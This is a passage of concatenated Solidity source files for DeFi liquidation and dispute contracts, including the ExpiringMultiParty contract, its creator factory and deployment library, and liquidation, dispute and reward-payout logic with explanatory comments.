startCollateralNetOfWithdrawal / startTokens. require( minCollateralPerToken.mul(startTokens).isLessThanOrEqual(startCollateralNetOfWithdrawal), "CR is less than min liq. price" ); } // Compute final fee at time of liquidation. finalFeeBond = _computeFinalFees(); // These will be populated within the scope below. FixedPoint.Unsigned memory lockedCollateral; FixedPoint.Unsigned memory liquidatedCollateral; // Scoping to get rid of a stack too deep error. The amount of tokens to remove from the position // are not funding-rate adjusted because the multiplier only affects their redemption value, not their // notional. { FixedPoint.Unsigned memory ratio = tokensLiquidated.div(positionToLiquidate.tokensOutstanding); // The actual amount of collateral that gets moved to the liquidation. lockedCollateral = startCollateral.mul(ratio); // For purposes of disputes, it's actually this liquidatedCollateral value that's used. This value is net of // withdrawal requests. liquidatedCollateral = startCollateralNetOfWithdrawal.mul(ratio); // Part of the withdrawal request is also removed. Ideally: // liquidatedCollateral + withdrawalAmountToRemove = lockedCollateral. FixedPoint.Unsigned memory withdrawalAmountToRemove = positionToLiquidate.withdrawalRequestAmount.mul(ratio); _reduceSponsorPosition(sponsor, tokensLiquidated, lockedCollateral, withdrawalAmountToRemove); } // Add to the global liquidation collateral count. _addCollateral(rawLiquidationCollateral, lockedCollateral.add(finalFeeBond)); // Construct liquidation object. // Note: All dispute-related values are zeroed out until a dispute occurs. liquidationId is the index of the new // LiquidationData that is pushed into the array, which is equal to the current length of the array pre-push. liquidationId = liquidations[sponsor].length; liquidations[sponsor].push( LiquidationData({ sponsor: sponsor, liquidator: msg.sender, state: Status.NotDisputed, liquidationTime: getCurrentTime(), tokensOutstanding: _getFundingRateAppliedTokenDebt(tokensLiquidated), lockedCollateral: lockedCollateral, liquidatedCollateral: liquidatedCollateral, rawUnitCollateral: _convertToRawCollateral(FixedPoint.fromUnscaledUint(1)), disputer: address(0), settlementPrice: FixedPoint.fromUnscaledUint(0), finalFee: finalFeeBond }) ); // If this liquidation is a subsequent liquidation on the position, and the liquidation size is larger than // some "griefing threshold", then re-set the liveness. This enables a liquidation against a withdraw request to be // "dragged out" if the position is very large and liquidators need time to gather funds. The griefing threshold // is enforced so that liquidations for trivially small # of tokens cannot drag out an honest sponsor's slow withdrawal. // We arbitrarily set the "griefing threshold" to `minSponsorTokens` because it is the only parameter // denominated in token currency units and we can avoid adding another parameter. FixedPoint.Unsigned memory griefingThreshold = minSponsorTokens; if ( positionToLiquidate.withdrawalRequestPassTimestamp > 0 && // The position is undergoing a slow withdrawal. positionToLiquidate.withdrawalRequestPassTimestamp > getCurrentTime() && // The slow withdrawal has not yet expired. tokensLiquidated.isGreaterThanOrEqual(griefingThreshold) // The liquidated token count is above a "griefing threshold". ) { positionToLiquidate.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness); } emit LiquidationCreated( sponsor, msg.sender, liquidationId, _getFundingRateAppliedTokenDebt(tokensLiquidated).rawValue, lockedCollateral.rawValue, liquidatedCollateral.rawValue, getCurrentTime() ); // Destroy tokens tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensLiquidated.rawValue); tokenCurrency.burn(tokensLiquidated.rawValue); // Pull final fee from liquidator. collateralCurrency.safeTransferFrom(msg.sender, address(this), finalFeeBond.rawValue); } /** * @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond and pay a fixed final * fee charged on each price request. * @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes. * This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute * bond amount is calculated from `disputeBondPercentage` times the collateral in the liquidation. * @param liquidationId of the disputed liquidation. * @param sponsor the address of the sponsor whose liquidation is being disputed. * @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond). */ function dispute(uint256 liquidationId, address sponsor) external disputable(liquidationId, sponsor) fees() nonReentrant() returns (FixedPoint.Unsigned memory totalPaid) { LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId); // Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees. FixedPoint.Unsigned memory disputeBondAmount = disputedLiquidation.lockedCollateral.mul(disputeBondPercentage).mul( _getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral) ); _addCollateral(rawLiquidationCollateral, disputeBondAmount); // Request a price from DVM. Liquidation is pending dispute until DVM returns a price. disputedLiquidation.state = Status.Disputed; disputedLiquidation.disputer = msg.sender; // Enqueue a request with the DVM. _requestOraclePrice(disputedLiquidation.liquidationTime); emit LiquidationDisputed( sponsor, disputedLiquidation.liquidator, msg.sender, liquidationId, disputeBondAmount.rawValue ); totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee); // Pay the final fee for requesting price from the DVM. _payFinalFees(msg.sender, disputedLiquidation.finalFee); // Transfer the dispute bond amount from the caller to this contract. collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue); } /** * @notice After a dispute has settled or after a non-disputed liquidation has expired, * anyone can call this method to disperse payments to the sponsor, liquidator, and disputer. * @dev If the dispute SUCCEEDED: the sponsor, liquidator, and disputer are eligible for payment. * If the dispute FAILED: only the liquidator receives payment. This method deletes the liquidation data. * This method will revert if rewards have already been dispersed. * @param liquidationId uniquely identifies the sponsor's liquidation. * @param sponsor address of the sponsor associated with the liquidation. * @return data about rewards paid out. */ function withdrawLiquidation(uint256 liquidationId, address sponsor) public withdrawable(liquidationId, sponsor) fees() nonReentrant() returns (RewardsData memory) { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); // Settles the liquidation if necessary. This call will revert if the price has not resolved yet. _settle(liquidationId, sponsor); // Calculate rewards as a function of the TRV. // Note1: all payouts are scaled by the unit collateral value so all payouts are charged the fees pro rata. // Note2: the tokenRedemptionValue uses the tokensOutstanding which was calculated using the funding rate at // liquidation time from _getFundingRateAppliedTokenDebt. Therefore the TRV considers the full debt value at that time. FixedPoint.Unsigned memory feeAttenuation = _getFeeAdjustedCollateral(liquidation.rawUnitCollateral); FixedPoint.Unsigned memory settlementPrice = liquidation.settlementPrice; FixedPoint.Unsigned memory tokenRedemptionValue = liquidation.tokensOutstanding.mul(settlementPrice).mul(feeAttenuation); FixedPoint.Unsigned memory collateral = liquidation.lockedCollateral.mul(feeAttenuation); FixedPoint.Unsigned memory disputerDisputeReward = disputerDisputeRewardPercentage.mul(tokenRedemptionValue); FixedPoint.Unsigned memory sponsorDisputeReward = sponsorDisputeRewardPercentage.mul(tokenRedemptionValue); FixedPoint.Unsigned memory disputeBondAmount = collateral.mul(disputeBondPercentage); FixedPoint.Unsigned memory finalFee = liquidation.finalFee.mul(feeAttenuation); // There are three main outcome states: either the dispute succeeded, failed or was not updated. // Based on the state, different parties of a liquidation receive different amounts. // After assigning rewards based on the liquidation status, decrease the total collateral held in this contract // by the amount to pay each party. The actual amounts withdrawn might differ if _removeCollateral causes // precision loss. RewardsData memory rewards; if (liquidation.state == Status.DisputeSucceeded) { // If the dispute is successful then all three users should receive rewards: // Pay DISPUTER: disputer reward + dispute bond + returned final fee rewards.payToDisputer = disputerDisputeReward.add(disputeBondAmount).add(finalFee); // Pay SPONSOR: remaining collateral (collateral - TRV) + sponsor reward rewards.payToSponsor = sponsorDisputeReward.add(collateral.sub(tokenRedemptionValue)); // Pay LIQUIDATOR: TRV - dispute reward - sponsor reward // If TRV > Collateral, then subtract rewards from collateral // NOTE: This should never be below zero since we prevent (sponsorDisputePercentage+disputerDisputePercentage) >= 0 in // the constructor when these params are set. rewards.payToLiquidator = tokenRedemptionValue.sub(sponsorDisputeReward).sub(disputerDisputeReward); // Transfer rewards and debit collateral rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator); rewards.paidToSponsor = _removeCollateral(rawLiquidationCollateral, rewards.payToSponsor); rewards.paidToDisputer = _removeCollateral(rawLiquidationCollateral, rewards.payToDisputer); collateralCurrency.safeTransfer(liquidation.disputer, rewards.paidToDisputer.rawValue); collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue); collateralCurrency.safeTransfer(liquidation.sponsor, rewards.paidToSponsor.rawValue); // In the case of a failed dispute only the liquidator can withdraw. } else if (liquidation.state == Status.DisputeFailed) { // Pay LIQUIDATOR: collateral + dispute bond + returned final fee rewards.payToLiquidator = collateral.add(disputeBondAmount).add(finalFee); // Transfer rewards and debit collateral rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator); collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue); // If the state is pre-dispute but time has passed liveness then there was no dispute. We represent this // state as a dispute failed and the liquidator can withdraw. } else if (liquidation.state == Status.NotDisputed) { // Pay LIQUIDATOR: collateral + returned final fee rewards.payToLiquidator = collateral.add(finalFee); // Transfer rewards and debit collateral rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator); collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue); } emit LiquidationWithdrawn( msg.sender, rewards.paidToLiquidator.rawValue, rewards.paidToDisputer.rawValue, rewards.paidToSponsor.rawValue, liquidation.state, settlementPrice.rawValue ); // Free up space after collateral is withdrawn by removing the liquidation object from the array. delete liquidations[sponsor][liquidationId]; return rewards; } /** * @notice Gets all liquidation information for a given sponsor address. * @param sponsor address of the position sponsor. * @return liquidationData array of all liquidation information for the given sponsor address. */ function getLiquidations(address sponsor) external view nonReentrantView() returns (LiquidationData[] memory liquidationData) { return liquidations[sponsor]; } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // This settles a liquidation if it is in the Disputed state. If not, it will immediately return. // If the liquidation is in the Disputed state, but a price is not available, this will revert. function _settle(uint256 liquidationId, address sponsor) internal { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); // Settlement only happens when state == Disputed and will only happen once per liquidation. // If this liquidation is not ready to be settled, this method should return immediately. if (liquidation.state != Status.Disputed) { return; } // Get the returned price from the oracle. If this has not yet resolved will revert. liquidation.settlementPrice = _getOraclePrice(liquidation.liquidationTime); // Find the value of the tokens in the underlying collateral. FixedPoint.Unsigned memory tokenRedemptionValue = liquidation.tokensOutstanding.mul(liquidation.settlementPrice); // The required collateral is the value of the tokens in underlying * required collateral ratio. FixedPoint.Unsigned memory requiredCollateral = tokenRedemptionValue.mul(collateralRequirement); // If the position has more than the required collateral it is solvent and the dispute is valid (liquidation is invalid) // Note that this check uses the liquidatedCollateral not the lockedCollateral as this considers withdrawals. bool disputeSucceeded = liquidation.liquidatedCollateral.isGreaterThanOrEqual(requiredCollateral); liquidation.state = disputeSucceeded ? Status.DisputeSucceeded : Status.DisputeFailed; emit DisputeSettled( msg.sender, sponsor, liquidation.liquidator, liquidation.disputer, liquidationId, disputeSucceeded ); } function _pfc() internal view override returns (FixedPoint.Unsigned memory) { return super._pfc().add(_getFeeAdjustedCollateral(rawLiquidationCollateral)); } function _getLiquidationData(address sponsor, uint256 liquidationId) internal view returns (LiquidationData storage liquidation) { LiquidationData[] storage liquidationArray = liquidations[sponsor]; // Revert if the caller is attempting to access an invalid liquidation // (one that has never been created or one has never been initialized). require( liquidationId < liquidationArray.length && liquidationArray[liquidationId].state != Status.Uninitialized ); return liquidationArray[liquidationId]; } function _getLiquidationExpiry(LiquidationData storage liquidation) internal view returns (uint256) { return liquidation.liquidationTime.add(liquidationLiveness); } // These internal functions are supposed to act identically to modifiers, but re-used modifiers // unnecessarily increase contract bytecode size. // source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6 function _disputable(uint256 liquidationId, address sponsor) internal view { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); require( (getCurrentTime() < _getLiquidationExpiry(liquidation)) && (liquidation.state == Status.NotDisputed), "Liquidation not disputable" ); } function _withdrawable(uint256 liquidationId, address sponsor) internal view { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); Status state = liquidation.state; // Must be disputed or the liquidation has passed expiry. require( (state > Status.NotDisputed) || ((_getLiquidationExpiry(liquidation) <= getCurrentTime()) && (state == Status.NotDisputed)) ); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/interfaces/ExpandedIERC20.sol"; import "../../common/interfaces/IERC20Standard.sol"; import "../../oracle/implementation/ContractCreator.sol"; import "../../common/implementation/Testable.sol"; import "../../common/implementation/AddressWhitelist.sol"; import "../../common/implementation/Lockable.sol"; import "../common/TokenFactory.sol"; import "../common/SyntheticToken.sol"; import "./ExpiringMultiPartyLib.sol"; /** * @title Expiring Multi Party Contract creator. * @notice Factory contract to create and register new instances of expiring multiparty contracts. * Responsible for constraining the parameters used to construct a new EMP. This creator contains a number of constraints * that are applied to newly created expiring multi party contract. These constraints can evolve over time and are * initially constrained to conservative values in this first iteration. Technically there is nothing in the * ExpiringMultiParty contract requiring these constraints. However, because `createExpiringMultiParty()` is intended * to be the only way to create valid financial contracts that are registered with the DVM (via _registerContract), we can enforce deployment configurations here. */ contract ExpiringMultiPartyCreator is ContractCreator, Testable, Lockable { using FixedPoint for FixedPoint.Unsigned; /**************************************** * EMP CREATOR DATA STRUCTURES * ****************************************/ struct Params { uint256 expirationTimestamp; address collateralAddress; bytes32 priceFeedIdentifier; string syntheticName; string syntheticSymbol; FixedPoint.Unsigned collateralRequirement; FixedPoint.Unsigned disputeBondPercentage; FixedPoint.Unsigned sponsorDisputeRewardPercentage; FixedPoint.Unsigned disputerDisputeRewardPercentage; FixedPoint.Unsigned minSponsorTokens; uint256 withdrawalLiveness; uint256 liquidationLiveness; address financialProductLibraryAddress; } // Address of TokenFactory used to create a new synthetic token. address public tokenFactoryAddress; event CreatedExpiringMultiParty(address indexed expiringMultiPartyAddress, address indexed deployerAddress); /** * @notice Constructs the ExpiringMultiPartyCreator contract. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _tokenFactoryAddress ERC20 token factory used to deploy synthetic token instances. * @param _timerAddress Contract that stores the current time in a testing environment. */ constructor( address _finderAddress, address _tokenFactoryAddress, address _timerAddress ) public ContractCreator(_finderAddress) Testable(_timerAddress) nonReentrant() { tokenFactoryAddress = _tokenFactoryAddress; } /** * @notice Creates an instance of expiring multi party and registers it within the registry. * @param params is a `ConstructorParams` object from ExpiringMultiParty. * @return address of the deployed ExpiringMultiParty contract. */ function createExpiringMultiParty(Params memory params) public nonReentrant() returns (address) { // Create a new synthetic token using the params. require(bytes(params.syntheticName).length != 0, "Missing synthetic name"); require(bytes(params.syntheticSymbol).length != 0, "Missing synthetic symbol"); TokenFactory tf = TokenFactory(tokenFactoryAddress); // If the collateral token does not have a `decimals()` method, then a default precision of 18 will be // applied to the newly created synthetic token. uint8 syntheticDecimals = _getSyntheticDecimals(params.collateralAddress); ExpandedIERC20 tokenCurrency = tf.createToken(params.syntheticName, params.syntheticSymbol, syntheticDecimals); address derivative = ExpiringMultiPartyLib.deploy(_convertParams(params, tokenCurrency)); // Give permissions to new derivative contract and then hand over ownership. tokenCurrency.addMinter(derivative); tokenCurrency.addBurner(derivative); tokenCurrency.resetOwner(derivative); _registerContract(new address[](0), derivative); emit CreatedExpiringMultiParty(derivative, msg.sender); return derivative; } /**************************************** * PRIVATE FUNCTIONS * ****************************************/ // Converts createExpiringMultiParty params to ExpiringMultiParty constructor params. function _convertParams(Params memory params, ExpandedIERC20 newTokenCurrency) private view returns (ExpiringMultiParty.ConstructorParams memory constructorParams) { // Known from creator deployment. constructorParams.finderAddress = finderAddress; constructorParams.timerAddress = timerAddress; // Enforce configuration constraints. require(params.withdrawalLiveness != 0, "Withdrawal liveness cannot be 0"); require(params.liquidationLiveness != 0, "Liquidation liveness cannot be 0"); require(params.expirationTimestamp > now, "Invalid expiration time"); _requireWhitelistedCollateral(params.collateralAddress); // We don't want EMP deployers to be able to intentionally or unintentionally set // liveness periods that could induce arithmetic overflow, but we also don't want // to be opinionated about what livenesses are "correct", so we will somewhat // arbitrarily set the liveness upper bound to 100 years (5200 weeks). In practice, liveness // periods even greater than a few days would make the EMP unusable for most users. require(params.withdrawalLiveness < 5200 weeks, "Withdrawal liveness too large"); require(params.liquidationLiveness < 5200 weeks, "Liquidation liveness too large"); // Input from function call. constructorParams.tokenAddress = address(newTokenCurrency); constructorParams.expirationTimestamp = params.expirationTimestamp; constructorParams.collateralAddress = params.collateralAddress; constructorParams.priceFeedIdentifier = params.priceFeedIdentifier; constructorParams.collateralRequirement = params.collateralRequirement; constructorParams.disputeBondPercentage = params.disputeBondPercentage; constructorParams.sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage; constructorParams.disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage; constructorParams.minSponsorTokens = params.minSponsorTokens; constructorParams.withdrawalLiveness = params.withdrawalLiveness; constructorParams.liquidationLiveness = params.liquidationLiveness; constructorParams.financialProductLibraryAddress = params.financialProductLibraryAddress; } // IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method, // which is possible since the method is only an OPTIONAL method in the ERC20 standard: // https://eips.ethereum.org/EIPS/eip-20#methods. function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) { try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) { return _decimals; } catch { return 18; } } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./ExpiringMultiParty.sol"; /** * @title Provides convenient Expiring Multi Party contract utilities. * @dev Using this library to deploy EMP's allows calling contracts to avoid importing the full EMP bytecode. */ library ExpiringMultiPartyLib { /** * @notice Returns address of new EMP deployed with given `params` configuration. * @dev Caller will need to register new EMP with the Registry to begin requesting prices. Caller is also * responsible for enforcing constraints on `params`. * @param params is a `ConstructorParams` object from ExpiringMultiParty. * @return address of the deployed ExpiringMultiParty contract */ function deploy(ExpiringMultiParty.ConstructorParams memory params) public returns (address) { ExpiringMultiParty derivative = new ExpiringMultiParty(params); return address(derivative); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./Liquidatable.sol"; /** * @title Expiring Multi Party. * @notice Convenient wrapper for Liquidatable. */ contract ExpiringMultiParty is Liquidatable { /** * @notice Constructs the ExpiringMultiParty contract. * @param params struct to define input parameters for construction of Liquidatable. Some params * are fed directly into the PricelessPositionManager's constructor within the inheritance tree. */ constructor(ConstructorParams memory params) public Liquidatable(params) // Note: since there is no logic here, there is no need to add a re-entrancy guard. { } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "./PricelessPositionManager.sol"; import "../../common/implementation/FixedPoint.sol"; /** * @title Liquidatable * @notice Adds logic to a position-managing contract that enables callers to liquidate an undercollateralized position. * @dev The liquidation has a liveness period before expiring successfully, during which someone can "dispute" the * liquidation, which sends a price request to the relevant Oracle to settle the final collateralization ratio based on * a DVM price. The contract enforces dispute rewards in order to incentivize disputers to correctly dispute false * liquidations and compensate position sponsors who had their position incorrectly liquidated. Importantly, a * prospective disputer must deposit a dispute bond that they can lose in the case of an unsuccessful dispute. * NOTE: this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on * transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing * money themselves). */ contract Liquidatable is PricelessPositionManager { using FixedPoint for FixedPoint.Unsigned; using SafeMath for uint256; using SafeERC20 for IERC20; using Address for address; /**************************************** * LIQUIDATION DATA STRUCTURES * ****************************************/ // Because of the check in withdrawable(), the order of these enum values should not change. enum Status { Uninitialized, NotDisputed, Disputed, DisputeSucceeded, DisputeFailed } struct LiquidationData { // Following variables set upon creation of liquidation: address sponsor; // Address of the liquidated position's sponsor address liquidator; // Address who created this liquidation Status state; // Liquidated (and expired or not), Pending a Dispute, or Dispute has resolved uint256 liquidationTime; // Time when liquidation is initiated, needed to get price from Oracle // Following variables determined by the position that is being liquidated: FixedPoint.Unsigned tokensOutstanding; // Synthetic tokens required to be burned by liquidator to initiate dispute FixedPoint.Unsigned lockedCollateral; // Collateral locked by contract and released upon expiry or post-dispute // Amount of collateral being liquidated, which could be different from // lockedCollateral if there were pending withdrawals at the time of liquidation FixedPoint.Unsigned liquidatedCollateral; // Unit value (starts at 1) that is used to track the fees per unit of collateral over the course of the liquidation. FixedPoint.Unsigned rawUnitCollateral; // Following variable set upon initiation of a dispute: address disputer; // Person who is disputing a liquidation // Following variable set upon a resolution of a dispute: FixedPoint.Unsigned settlementPrice; // Final price as determined by an Oracle following a dispute FixedPoint.Unsigned finalFee; } // Define the contract's constructor parameters as a struct to enable more variables to be specified. // This is required to enable more params, over and above Solidity's limits. struct ConstructorParams { // Params for PricelessPositionManager only. uint256 expirationTimestamp; uint256 withdrawalLiveness; address collateralAddress; address tokenAddress; address finderAddress; address timerAddress; address financialProductLibraryAddress; bytes32 priceFeedIdentifier; FixedPoint.Unsigned minSponsorTokens; // Params specifically for Liquidatable. uint256 liquidationLiveness; FixedPoint.Unsigned collateralRequirement; FixedPoint.Unsigned disputeBondPercentage; FixedPoint.Unsigned sponsorDisputeRewardPercentage; FixedPoint.Unsigned disputerDisputeRewardPercentage; } // This struct is used in the `withdrawLiquidation` method that disperses liquidation and dispute rewards. // `payToX` stores the total collateral to withdraw from the contract to pay X. This value might differ // from `paidToX` due to precision loss between accounting for the `rawCollateral` versus the // fee-adjusted collateral. These variables are stored within a struct to avoid the stack too deep error. struct RewardsData { FixedPoint.Unsigned payToSponsor; FixedPoint.Unsigned payToLiquidator; FixedPoint.Unsigned payToDisputer; FixedPoint.Unsigned paidToSponsor; FixedPoint.Unsigned paidToLiquidator; FixedPoint.Unsigned paidToDisputer; } // Liquidations are unique by ID per sponsor mapping(address => LiquidationData[]) public liquidations; // Total collateral in liquidation. FixedPoint.Unsigned public rawLiquidationCollateral; // Immutable contract parameters: // Amount of time for pending liquidation before expiry. // !!Note: The lower the liquidation liveness value, the more risk incurred by sponsors. // Extremely low liveness values increase the chance that opportunistic invalid liquidations // expire without dispute, thereby decreasing the usability for sponsors and increasing the risk // for the contract as a whole. An insolvent contract is extremely risky for any sponsor or synthetic // token holder for the contract. uint256 public liquidationLiveness; // Required collateral:TRV ratio for a position to be considered sufficiently collateralized. FixedPoint.Unsigned public collateralRequirement; // Percent of a Liquidation/Position's lockedCollateral to be deposited by a potential disputer // Represented as a multiplier, for example 1.5e18 = "150%" and 0.05e18 = "5%" FixedPoint.Unsigned public disputeBondPercentage; // Percent of oraclePrice paid to sponsor in the Disputed state (i.e. following a successful dispute) // Represented as a multiplier, see above. FixedPoint.Unsigned public sponsorDisputeRewardPercentage; // Percent of oraclePrice paid to disputer in the Disputed state (i.e. following a successful dispute) // Represented as a multiplier, see above. FixedPoint.Unsigned public disputerDisputeRewardPercentage; /**************************************** * EVENTS * ****************************************/ event LiquidationCreated( address indexed sponsor, address indexed liquidator, uint256 indexed liquidationId, uint256 tokensOutstanding, uint256 lockedCollateral, uint256 liquidatedCollateral, uint256 liquidationTime ); event LiquidationDisputed( address indexed sponsor, address indexed liquidator, address indexed disputer, uint256 liquidationId, uint256 disputeBondAmount ); event DisputeSettled( address indexed caller, address indexed sponsor, address indexed liquidator, address disputer, uint256 liquidationId, bool disputeSucceeded ); event LiquidationWithdrawn( address indexed caller, uint256 paidToLiquidator, uint256 paidToDisputer, uint256 paidToSponsor, Status indexed liquidationStatus, uint256 settlementPrice ); /**************************************** * MODIFIERS * ****************************************/ modifier disputable(uint256 liquidationId, address sponsor) { _disputable(liquidationId, sponsor); _; } modifier withdrawable(uint256 liquidationId, address sponsor) { _withdrawable(liquidationId, sponsor); _; } /** * @notice Constructs the liquidatable contract. * @param params struct to define input parameters for construction of Liquidatable. Some params * are fed directly into the PricelessPositionManager's constructor within the inheritance tree. */ constructor(ConstructorParams memory params) public PricelessPositionManager( params.expirationTimestamp, params.withdrawalLiveness, params.collateralAddress, params.tokenAddress, params.finderAddress, params.priceFeedIdentifier, params.minSponsorTokens, params.timerAddress, params.financialProductLibraryAddress ) nonReentrant() { require(params.collateralRequirement.isGreaterThan(1)); require(params.sponsorDisputeRewardPercentage.add(params.disputerDisputeRewardPercentage).isLessThan(1)); // Set liquidatable specific variables. liquidationLiveness = params.liquidationLiveness; collateralRequirement = params.collateralRequirement; disputeBondPercentage = params.disputeBondPercentage; sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage; disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage; } /**************************************** * LIQUIDATION FUNCTIONS * ****************************************/ /** * @notice Liquidates the sponsor's position if the caller has enough * synthetic tokens to retire the position's outstanding tokens. Liquidations above * a minimum size also reset an ongoing "slow withdrawal"'s liveness. * @dev This method generates an ID that will uniquely identify liquidation for the sponsor. This contract must be * approved to spend at least `tokensLiquidated` of `tokenCurrency` and at least `finalFeeBond` of `collateralCurrency`. * @dev This contract must have the Burner role for the `tokenCurrency`. * @param sponsor address of the sponsor to liquidate. * @param minCollateralPerToken abort the liquidation if the position's collateral per token is below this value. * @param maxCollateralPerToken abort the liquidation if the position's collateral per token exceeds this value. * @param maxTokensToLiquidate max number of tokens to liquidate. * @param deadline abort the liquidation if the transaction is mined after this timestamp. * @return liquidationId ID of the newly created liquidation. * @return tokensLiquidated amount of synthetic tokens removed and liquidated from the `sponsor`'s position. * @return finalFeeBond amount of collateral to be posted by liquidator and returned if not disputed successfully. */ function createLiquidation( address sponsor, FixedPoint.Unsigned calldata minCollateralPerToken, FixedPoint.Unsigned calldata maxCollateralPerToken, FixedPoint.Unsigned calldata maxTokensToLiquidate, uint256 deadline ) external fees() onlyPreExpiration() nonReentrant() returns ( uint256 liquidationId, FixedPoint.Unsigned memory tokensLiquidated, FixedPoint.Unsigned memory finalFeeBond ) { // Check that this transaction was mined pre-deadline. require(getCurrentTime() <= deadline, "Mined after deadline"); // Retrieve Position data for sponsor PositionData storage positionToLiquidate = _getPositionData(sponsor); tokensLiquidated = FixedPoint.min(maxTokensToLiquidate, positionToLiquidate.tokensOutstanding); require(tokensLiquidated.isGreaterThan(0)); // Starting values for the Position being liquidated. If withdrawal request amount is > position's collateral, // then set this to 0, otherwise set it to (startCollateral - withdrawal request amount). FixedPoint.Unsigned memory startCollateral = _getFeeAdjustedCollateral(positionToLiquidate.rawCollateral); FixedPoint.Unsigned memory startCollateralNetOfWithdrawal = FixedPoint.fromUnscaledUint(0); if (positionToLiquidate.withdrawalRequestAmount.isLessThanOrEqual(startCollateral)) { startCollateralNetOfWithdrawal = startCollateral.sub(positionToLiquidate.withdrawalRequestAmount); } // Scoping to get rid of a stack too deep error. { FixedPoint.Unsigned memory startTokens = positionToLiquidate.tokensOutstanding; // The Position's collateralization ratio must be between [minCollateralPerToken, maxCollateralPerToken]. // maxCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens. require( maxCollateralPerToken.mul(startTokens).isGreaterThanOrEqual(startCollateralNetOfWithdrawal), "CR is more than max liq. price" ); // minCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens. require( minCollateralPerToken.mul(startTokens).isLessThanOrEqual(startCollateralNetOfWithdrawal), "CR is less than min liq. price" ); } // Compute final fee at time of liquidation. finalFeeBond = _computeFinalFees(); // These will be populated within the scope below. FixedPoint.Unsigned memory lockedCollateral; FixedPoint.Unsigned memory liquidatedCollateral; // Scoping to get rid of a stack too deep error. { FixedPoint.Unsigned memory ratio = tokensLiquidated.div(positionToLiquidate.tokensOutstanding); // The actual amount of collateral that gets moved to the liquidation. lockedCollateral = startCollateral.mul(ratio); // For purposes of disputes, it's actually this liquidatedCollateral value that's used. This value is net of // withdrawal requests. liquidatedCollateral = startCollateralNetOfWithdrawal.mul(ratio); // Part of the withdrawal request is also removed. Ideally: // liquidatedCollateral + withdrawalAmountToRemove = lockedCollateral. FixedPoint.Unsigned memory withdrawalAmountToRemove = positionToLiquidate.withdrawalRequestAmount.mul(ratio); _reduceSponsorPosition(sponsor, tokensLiquidated, lockedCollateral, withdrawalAmountToRemove); } // Add to the global liquidation collateral count. _addCollateral(rawLiquidationCollateral, lockedCollateral.add(finalFeeBond)); // Construct liquidation object. // Note: All dispute-related values are zeroed out until a dispute occurs. liquidationId is the index of the new // LiquidationData that is pushed into the array, which is equal to the current length of the array pre-push. liquidationId = liquidations[sponsor].length; liquidations[sponsor].push( LiquidationData({ sponsor: sponsor, liquidator: msg.sender, state: Status.NotDisputed, liquidationTime: getCurrentTime(), tokensOutstanding: tokensLiquidated, lockedCollateral: lockedCollateral, liquidatedCollateral: liquidatedCollateral, rawUnitCollateral: _convertToRawCollateral(FixedPoint.fromUnscaledUint(1)), disputer: address(0), settlementPrice: FixedPoint.fromUnscaledUint(0), finalFee: finalFeeBond }) ); // If this liquidation is a subsequent liquidation on the position, and the liquidation size is larger than // some "griefing threshold", then re-set the liveness. This enables a liquidation against a withdraw request to be // "dragged out" if the position is very large and liquidators need time to gather funds. The griefing threshold // is enforced so that liquidations for trivially small # of tokens cannot drag out an honest sponsor's slow withdrawal. // We arbitrarily set the "griefing threshold" to `minSponsorTokens` because it is the only parameter // denominated in token currency units and we can avoid adding another parameter. FixedPoint.Unsigned memory griefingThreshold = minSponsorTokens; if ( positionToLiquidate.withdrawalRequestPassTimestamp > 0 && // The position is undergoing a slow withdrawal. positionToLiquidate.withdrawalRequestPassTimestamp > getCurrentTime() && // The slow withdrawal has not yet expired. tokensLiquidated.isGreaterThanOrEqual(griefingThreshold) // The liquidated token count is above a "griefing threshold". ) { positionToLiquidate.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness); } emit LiquidationCreated( sponsor, msg.sender, liquidationId, tokensLiquidated.rawValue, lockedCollateral.rawValue, 